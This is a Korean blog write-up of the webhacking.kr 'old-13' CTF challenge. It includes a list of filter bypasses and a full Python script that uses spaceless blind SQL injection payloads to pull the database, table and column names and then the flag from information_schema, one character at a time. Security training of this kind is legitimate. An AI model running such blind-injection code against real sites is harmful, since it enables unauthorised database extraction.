일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 백엔드입문
- 개인정보안전성
- function scope
- 가명정보처리
- 호이스팅
- 개인정보보호교육
- pwnable.tw
- 덧셈 암호
- 국가인적자원개발컨소시엄
- 개인정보보호
- 웹 프레임워크
- 동적타이핑
- package.json
- 마감임박
- 유클리드_알고리즘
- 한국산업인력공단
- 개인정보보호위원회
- package-lock.json
- 곱셈 암호
- 포너블
- 무료교육
- 한국정보보호산업협회기자단
- 모듈러 연산
- 백엔드
- node.js
- 확장 유클리드 알고리즘
- arrow function
- 한국정보보호산업협회
- Writeup
- 디오판투스 알고리즘
- Today
- Total
짱짱해커가 되고 싶은 나
[webhacking.kr] old-13 본문
Background
url 인코딩 - hex값 앞에 %를 붙힌 값. (url에 포함되는 문자들을 안전하게 웹서버에 전달하기 위해, 특수한 기능을 가진 문자들을 브라우저가 인코딩해서 전달)
블라인드 SQL injection : 정보를 직접적으로 알아낼 수는 없지만 true/false를 통해 DB의 구조를 알아내는 공격 기법.
information_schema.tables
Exploit
100점 짜리 문제..!
sql injection 문제로 보인다.
1을 입력하고 제출을 누르면 이렇게 데이터베이스 형식으로? result column에 값이 저장된다.
다른 값을 넣으면 추가되나 확인해보려고 2를 입력해서 제출해보니 0이 떴다. 3도 마찬가지.
그런데 0을 뜨면 아예 result가 뜨지 않는 것을 볼 수 있다.
url을 입력했더니 No hack이 뜬다. sql injection 을 막기 위한게 들어가 있나보다.
그러면 일단 result case는 0,1,없음 이렇게 3가지 인 것같다. 0일 경우 = 없음, 1=1, 나머지는 모두 0.
필터링 되는 것과 안되는 것을 한 번 구해보자. (필터링 되면 no hack이 뜸)
1or1을 하면 결과가 나오지만, 1 or 1을 하면 no hack이 뜬다 == 공백 필터링, or 필터링 X
<필터링 되지 않는 것>
or
'
select
()
%20(공백)
%23(#) // 모든 url 인코딩 값은 다 되는 듯?
all
?
%
<필터링 되는 것>
공백
and
where 등 select 빼고 나머지 다
=
#
&&
||
/
*
+
대충 이렇게 참고해서 디비 구조를 파악해보자.
import requests
url = "https://webhacking.kr/challenge/web-10/"
db_name=""
table_name=""
col_name=""
flag=""
def str2bin(string):
return '0b' + ''.join(format(ord(x), 'b').zfill(8) for x in string)
#db_name_length
print("\n>> Length of DB Name")
for i in range(1, 10):
param = '?no=(0)or(if(length(database())in(' + str(i) + '),1,0))'
response = requests.get(url+param)
if('<td>1</td>' in response.text):
db_name_length = i
print(db_name_length)
break
#db_name
print("\n>> DB Name")
for i in range(1,db_name_length+1):
for j in range(32,123):
param = '?no=(0)or(if(ord(substr(database(),' + str(i) + ',1))in(' + str(j) + '),1,0))'
response = requests.get(url+param)
if('<td>1</td>' in response.text):
db_name = db_name + chr(j)
break
print(db_name)
#table_name_length
print("\n>> Length of Table Name")
for i in range(1,30):
param = '?no=if((select(length(min(if((select(table_schema)in(database())),table_name,null))))from(information_schema.tables))in(' + str(i) + '),1,0)'
response = requests.get(url+param)
if('<td>1</td>' in response.text):
table_name_length = i
print(table_name_length)
break
#table_name
print("\n>> Table Name")
for i in range(1, table_name_length+1):
for j in range(32,123):
param = '?no=if((select(substr(min(if((select(table_schema)in(database())),table_name,null)),' + str(i) + ',1))from(information_schema.tables))in(' + str(bin(j)) + '),1,0)'
response = requests.get(url+param)
if('<td>1</td>' in response.text):
table_name = table_name + chr(j)
break
print(table_name)
#db_column_lenth
print("\n>> Length of Column")
for i in range(1,30):
param = '?no=if((select(length(min(if((select(table_name)in(' + str2bin(table_name) + ')),column_name,null))))from(information_schema.columns))in(' + str(i) + '),1,0)'
#param = '?no=if((select(length(min(if((select(table_name)in(' + bin(table_name) + ')),column_name,null))))from(information_schema.columns))in(' + str(i) + '),1,0)'
response = requests.get(url+param)
if('<td>1</td>' in response.text):
col_length = i
print(i)
break
#db_column_name
print("\n>> Column Name")
for i in range(1, col_length+1):
for j in range(32, 123):
param = '?no=if((select(substr(min(if((select(table_name)in(' + str2bin(table_name) + ')),column_name,null)),' + str(i) + ',1))from(information_schema.columns))in(' + str(bin(j)) + '),1,0)'
response = requests.get(url+param)
if('<td>1</td>' in response.text):
col_name = col_name + chr(j)
break
print(col_name)
#flag_length
print("\n>> Lenth of Flag")
for i in range(1,50):
param = '?no=if((select(length(max(' + col_name + ')))from(' + db_name + '.' + table_name.lower() + '))in(' + str(i) + '),1,0)'
response = requests.get(url+param)
if('<td>1</td>' in response.text):
flag_length = i
print(i)
break
#flag
print("\n>> Flag")
for i in range(1, flag_length+1):
for j in range(32, 123):
param = '?no=if((select(substr(max(' + col_name + '),' + str(i) + ',1))from(' + db_name + '.' + table_name.lower() + '))in(' + str(bin(j)) + '),1,0)'
response = requests.get(url+param)
if('<td>1</td>' in response.text):
flag = flag + chr(j)
break
print(flag)
자세히보면,,
> Database 이름 길이 구하기
> Database 이름 구하기
> table 이름 길이 구하기
> table 이름 구하기
> column 길이 구하기
> column 이름 구하기
> flag 길이 구하기
계속 결과가 안나와서 도대체 왜?! 설마설마 하다가 FLAG를 flag로 바꿔서 했더니 됐다;;
소문잔데 왜 대문자로 저장됐었는지 이해가 안감;;
chr(헥사값) 이 형태로 저장을 했었는데 대문자랑 소문자가 헥사값이 다른데 어떻게 이런 경우가.. 이해 X
글고 이게 테이블 이름만 소문자로 바꾸면 해결됐다. ㅂㄷㅂㄷ
다시 코드 확인해보니까 내가 table 이름 뽑을 때 소문자랑 숫자만 범위에 넣었다. ? 근데 왜 대문자가..나왔지..?;;
Mysql 같은 경우 대문자와 소문자를 구분하지 않는다. (??) 그러면 똑같이 값 나와야하는거 아닌가..
> flag 구하기
플래그 값도 소문자로 써야한다,,
나중에,, 시간 좀 생기면 소문자 문제,, 왜이러는지 확인해봐야할듯
'Web hacking' 카테고리의 다른 글
[Cheat Engine] Tutorial - Step 2 (0) | 2021.07.21 |
---|---|
[Cheat Engine] Tutorial - Step 1 (0) | 2021.07.21 |
[Webhacking.kr] old-24 (0) | 2021.05.02 |
[Webhacking.kr] old-18 (1) | 2021.03.28 |
[Webhacking.kr] old-17 (0) | 2021.03.28 |